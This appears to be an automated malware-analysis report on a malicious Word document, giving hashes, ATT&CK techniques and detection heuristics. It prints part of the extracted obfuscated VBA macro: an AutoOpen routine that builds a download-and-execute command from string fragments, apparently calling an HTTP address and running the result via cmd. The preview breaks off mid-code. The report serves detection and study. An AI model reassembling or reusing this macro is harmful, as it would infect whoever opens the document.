Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ece404aa60e1e949…

MALICIOUS

Office (OLE)

69.0 KB Created: 2016-08-25 04:16:00 Authoring application: Microsoft Office Word First seen: 2019-02-10
MD5: e5740eab1ab6e2036478b8dd4cbe32b1 SHA-1: 930b7b5bcc03b42c859ffe9415ae72a9cef4eb00 SHA-256: ece404aa60e1e9499e0e586ac5a3e7747dfe7a50fc59fc6be6fff544305c5639
164 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1140 Deobfuscate or Obfuscate

The sample is a malicious Office document containing VBA macros. The AutoOpen macro is designed to execute automatically upon opening, and it utilizes CreateObject to likely download and execute a second-stage payload. The presence of obfuscated VBA code further suggests malicious intent.

Heuristics 7

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8594 bytes
SHA-256: b9eec65dd57d144ab7578f2f94ce8e9312ef7fc9430b95e414cb55de5bfca4a7
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
Dim ewervuha, ghagubcy1, jokuzykka, wtixmidmy, boqleva0, lynyllux9, ertubpa, aqemiwo, oxazdonpig, oziknekuhb9, azdowime, bufjekr0, inewyhygb
Dim yledtaky5
Dim axjodo, emfewutxorc2, twopohih6, ikbijfepha, yxaqbe, qlyvrylho0, mozosyqny2, azkixnanwavw5, egmuvnyk, qgekpuwufhe, stypirluce, uhmaryhxuw, qabybu, effaleby2
Dim ijesdun
Dim vyvirritv
Dim nadukny
Dim hpawzaje
Dim emarku
'stimulation wail reschedule barrenness raider skylight sought secretions
Dim awtesweg1
Dim avebhuhof
Dim qimiht
Dim ygjacpu
Dim uzelpokw
Dim apuwxiv1, uqqusipwyk, nwovqaze, ucova, nisluqr5, pwebunu, ewagaq, cleqagt8, ymbitabse8, upozutjo1, ekihdytu8, dozcyksado0
Dim vfighirji0, jucifvu, vosic, eqvizedtit9, ugylluv6, atany, xigiqhezs1, ucadsug, asviswuzrew, czovsexqa, ezsurezofn, iplehgyhems1
Dim cuwelzer
'compass growls preselect satisfiable rumen coffins ritualised
Dim ozolzuqbo8
Dim datselyle5, ozuse2, ajvyli, demeloqke9, ebaqlivk, kdyftobgu, iwlagyba7, rapnah, yxvywdormyzb, gmofydmo3, raxywcacl5, egzipowv, undojlovkebp, uhifzy
Dim udekuz, dreggotlepa, ixsupyjy5, ahquni, abiwjir, cyvagyrge, cceledja2, ihwulo, otiba, ugnoplupwag
Dim inpybfavuf9, ktabicx, ajxoqnan0, oqpejdo, isybajtuw, ezeke7, apaqqufs0, etabpukcy, eklarkupfi0, gjelsab
Dim onvedtamvi0
Dim yryxfeshu, ijugny4, ccyjmubbolgi, ywlonaqu4, qjukik, idubuz, bcevcorqug4, gokecxy9, nylwyw3, erjugzyras, vyxarega
Dim ugsefxyzta
Dim karady9, mlyrvuca5, uwudo8, bofgox, hwoheli9, sivyfj4, ycgaftijerd2, ytygumiws, yctuxkeqoxf, sixijra, epduxpehgy, adzurbuqpu, alarkavwuwm3, dcidnazh2, kwylgiqk9, pzuztylac4
Dim ecxygwutcig1, azsuho, ufnuxryco, ojcynsazcugv0, byxupwa7, wzokuqip, xvykguvz3, mzenkapeqb3, jsehapysm, onact, ucmuvzo6, odxomonjo, djaxbopa, gibojent
'gymnasia provisional facelift inquisition inclination
Dim tgarim2
Dim enbepujwo1
Dim edodniwu9, ypcitowh5, morzunz0, mvusynqi5, uqotcopv
Dim ideri4
oziknekuhb9 = "veXO"
ertubpa = ");st"
eklarkupfi0 = ".Sav"
'screening homage depicting fusillade largo intravenously
atany = "stre"
wtixmidmy = "empN"
ugnoplupwag = "fso "
uzelpokw = "= ne"
mozosyqny2 = "eam"""
asviswuzrew = "eToF"
boqleva0 = "GET"""
emfewutxorc2 = "c "" "
'talkie proceedings inflating cologne typographer
oqpejdo = "ream"
ojcynsazcugv0 = "Acti"
alarkavwuwm3 = ", ""h"
pwebunu = "2) +"
ahquni = "ream"
upozutjo1 = " var"
'vanished commenced scarcely philosophically eventual gowns focusses bureaucratic polytechnics
ekihdytu8 = "+ tm"
nadukny = "n();"
ymbitabse8 = ");as"
gmofydmo3 = "ript"
awtesweg1 = "ew A"
ytygumiws = "am.P"
apaqqufs0 = ".Str"
bufjekr0 = "ype "
'turnings flowery creativeness istanbul plant rationale juvenile chintzy
dreggotlepa = " = n"
ewervuha = "Body"
qimiht = "var "
abiwjir = "new "
yctuxkeqoxf = "ass."
kwylgiqk9 = "bcry"
ugylluv6 = "drun"
'ravine mistranslates imprecision cusps dealers
ucova = "(""Mi"
emarku = " cmd"
sivyfj4 = "shel"
ixsupyjy5 = "ttp:"
dcidnazh2 = "Fold"
qjukik = "cial"
'crescent great conjunctivitis adroitly mischievously lepton averages strum immobilised
uhmaryhxuw = "send"
hpawzaje = "o.Ge"
azkixnanwavw5 = "ile("
dozcyksado0 = "emOb"
otiba = ".91."
uhifzy = "mp_p"
'originated keystroke serenade midshipman revenue connect
ucadsug = ", 0)"
ikbijfepha = "er( "
rapnah = "stre"
kdyftobgu = "eXOb"
jokuzykka = "49/b"
etabpukcy = "tmp_"
nylwyw3 = "l.ru"
aqemiwo = "n(cm"
demeloqke9 = " ""\\"
'hoard emporium sign trampling fishlike strict
xigiqhezs1 = "l = "
gjelsab = "en("""
ccyjmubbolgi = "ew A"
ecxygwutcig1 = "trea"
isybajtuw = "th; "
ywlonaqu4 = "run "
'defer perching perfections gargles cleancut regardless
cuwelzer = "tive"
byxupwa7 = "md.e"
effaleby2 = "GetT"
vfighirji0 = "ject"
bcevcorqug4 = ".Clo"
vosic = "var "
cleqagt8 = "ipt."
ajvyli = "WScr"
v
... (truncated)

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